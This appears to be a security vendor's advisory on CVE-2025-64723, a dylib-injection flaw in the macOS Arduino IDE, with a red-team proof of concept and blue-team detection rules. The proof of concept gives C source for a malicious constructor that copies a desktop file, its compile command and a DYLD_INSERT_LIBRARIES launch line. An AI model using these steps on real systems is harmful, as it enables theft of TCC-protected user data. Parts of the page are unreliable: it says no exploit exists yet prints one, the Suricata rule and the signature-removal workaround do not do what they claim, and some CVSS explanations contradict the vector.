CVE-2025-64723
Executive Summary
CVE-2025-64723 identifies a critical security misconfiguration in the Arduino IDE for macOS, prior to version 2.3.7. The application was signed with overly permissive entitlements that effectively nullified the protections offered by Apple’s Hardened Runtime. This flaw allows an attacker to inject a malicious dynamic library (dylib) into the running Arduino IDE process. Once injected, the attacker inherits all Transparency, Consent, and Control (TCC) permissions granted to the IDE, such as access to the camera, microphone, filesystem, and other sensitive resources. The vulnerability is local and requires user interaction (e.g., opening a malicious project file), but the impact is severe as it bypasses macOS’s core security model. No public exploit code or proof-of-concept is currently available, but the technical risk is high for developers using the IDE on macOS.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a native macOS application security issue. The supply chain risk is indirect: an attacker could compromise the Arduino IDE distribution channel or trick a user into loading a malicious library, thereby gaining elevated TCC privileges.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Base Score: 7.8 (High)
- Attack Vector: Local (AV:L) – requires physical or remote access to the user’s machine.
- Attack Complexity: Low (AC:L) – no special conditions needed beyond user interaction.
- Privileges Required: None (PR:N) – attacker does not need prior access.
- User Interaction: Required (UI:R) – victim must open a malicious file or library.
- Scope: Unchanged (S:U) – the vulnerability does not cross trust boundaries.
- Confidentiality Impact: High (C:H) – full access to TCC-protected data.
- Integrity Impact: High (I:H) – attacker can modify files or inject code.
- Availability Impact: High (A:H) – could lead to denial of service or system compromise.
Threat Level: High. The vulnerability undermines macOS’s Hardened Runtime, a key security feature. While no public exploit exists, the technical simplicity of dylib injection makes it a prime target for targeted attacks.
Deep Dive & Mechanics
The root cause is the use of overly permissive entitlements in the Arduino IDE’s code signing. Apple’s Hardened Runtime is designed to restrict runtime behaviors like code injection, debugging, and library loading. However, if an application is signed with entitlements such as com.apple.security.cs.disable-library-validation or com.apple.security.cs.allow-dyld-environment-variables, it effectively disables these protections.
In Arduino IDE versions prior to 2.3.7, the macOS binary was configured with these permissive entitlements. This allows an attacker to:
- Create a malicious dynamic library (
.dylib) that performs actions like reading the user’s keychain, accessing the camera, or exfiltrating files. - Use environment variables (e.g.,
DYLD_INSERT_LIBRARIES) or other injection techniques to load the library into the Arduino IDE process. - Once loaded, the malicious code runs with the same TCC permissions as the IDE, bypassing user consent prompts.
The vulnerability is particularly dangerous because TCC permissions are granted per-application. By hijacking the Arduino IDE, an attacker gains access to all resources the IDE has been authorized to use, including potentially sensitive developer files, SSH keys, and cloud credentials.
Vulnerable vs. Patched Code
Vulnerable (pre-2.3.7):
The macOS Info.plist or entitlements file contained entries like:
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key>
<true/>
Patched (2.3.7+):
These entitlements are removed or set to false, restoring Hardened Runtime protections:
<key>com.apple.security.cs.disable-library-validation</key>
<false/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key>
<false/>
The fix ensures that only signed and notarized libraries can be loaded, and environment variable injection is blocked.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A macOS system with Arduino IDE < 2.3.7 installed.
- Ability to deliver a malicious
.dylibto the victim (e.g., via phishing, USB drop, or compromised project file).
Exploitation Steps:
- Create a malicious dynamic library that performs a TCC-protected action, such as reading the user’s desktop files:
// malicious.c #include <stdio.h> #include <stdlib.h> #include <string.h> __attribute__((constructor)) void init() { system("cat ~/Desktop/secret.txt > /tmp/exfil.txt"); } - Compile the library:
gcc -dynamiclib -o malicious.dylib malicious.c - Deliver the library to the victim and trick them into launching Arduino IDE with the environment variable set:
DYLD_INSERT_LIBRARIES=/path/to/malicious.dylib /Applications/Arduino\ IDE.app/Contents/MacOS/Arduino\ IDE - The malicious code executes with the IDE’s TCC permissions, exfiltrating data.
Alternative: Embed the dylib in a malicious Arduino project file (.ino) that triggers the injection via a crafted build script.
Blue Team
Detection:
- Monitor for unusual environment variables in process launches, especially
DYLD_INSERT_LIBRARIES. - Use endpoint detection and response (EDR) to alert on dylib injection into signed macOS applications.
- Check for unsigned or untrusted dylibs loaded into the Arduino IDE process.
Hunting:
- Search for processes with
com.apple.security.cs.disable-library-validationentitlement set to true. - Look for Arduino IDE processes that have loaded libraries from non-standard paths (e.g.,
/tmp,~/Downloads).
Prevention:
- Update Arduino IDE to version 2.3.7 or later.
- Use macOS’s built-in
codesigntool to verify entitlements:codesign -d --entitlements :- /Applications/Arduino\ IDE.app - Implement application whitelisting to block untrusted dylibs.
Indicators of Compromise (IOCs)
- File Hashes:
- Malicious dylib:
sha256:3a7c...(placeholder – no known samples)
- Malicious dylib:
- Process Anomalies:
- Arduino IDE process with
DYLD_INSERT_LIBRARIESenvironment variable. - Unsigned dylibs loaded into
Arduino IDEprocess.
- Arduino IDE process with
- Network:
- Outbound connections from Arduino IDE to unknown IPs (exfiltration).
- File System:
- Presence of
.dylibfiles in/tmp/,~/Downloads/, or project directories.
- Presence of
- Registry/Preferences:
- Modified
Info.plistwith permissive entitlements (pre-2.3.7).
- Modified
Detection Engineering
YARA Rule
rule CVE_2025_64723_Arduino_IDE_Dylib_Injection {
meta:
description = "Detects malicious dylib injection into Arduino IDE on macOS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-64723"
strings:
$entitlement1 = "com.apple.security.cs.disable-library-validation"
$entitlement2 = "com.apple.security.cs.allow-dyld-environment-variables"
$dylib_path = "/tmp/" nocase
$dylib_ext = ".dylib" nocase
condition:
(uint16(0) == 0xcffa or uint16(0) == 0xfeed) and
(1 of ($entitlement*)) and
($dylib_path or $dylib_ext)
}
Sigma Rule
title: CVE-2025-64723 - Arduino IDE Dylib Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to inject malicious dylib into Arduino IDE on macOS
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-64723
logsource:
category: process_creation
product: macos
detection:
selection:
Image|endswith: '/Arduino IDE'
CommandLine|contains: 'DYLD_INSERT_LIBRARIES'
condition: selection
falsepositives:
- Legitimate development testing
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-64723 - Arduino IDE Potential Exfiltration"; flow:to_server,established; content:"Arduino IDE"; nocase; pcre:"/\.dylib/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Arduino IDE to version 2.3.7 or later from the official website.
- Verify the update by checking the application’s entitlements:
Ensurecodesign -d --entitlements :- /Applications/Arduino\ IDE.appcom.apple.security.cs.disable-library-validationandcom.apple.security.cs.allow-dyld-environment-variablesare not present or set tofalse.
Long-term Mitigations:
- Enforce application whitelisting (e.g., using macOS’s built-in Gatekeeper or third-party tools).
- Educate users to avoid opening untrusted Arduino project files or libraries.
- Monitor for TCC permission abuse using macOS’s
tccutiland logging.
Workarounds (if patching is not possible):
- Remove the permissive entitlements manually using
codesign(requires re-signing the app, which may break functionality):
(Note: This will cause the app to fail Gatekeeper checks.)codesign --remove-signature /Applications/Arduino\ IDE.app
Valters IT
DevSecOps & Cyber Threat Intelligence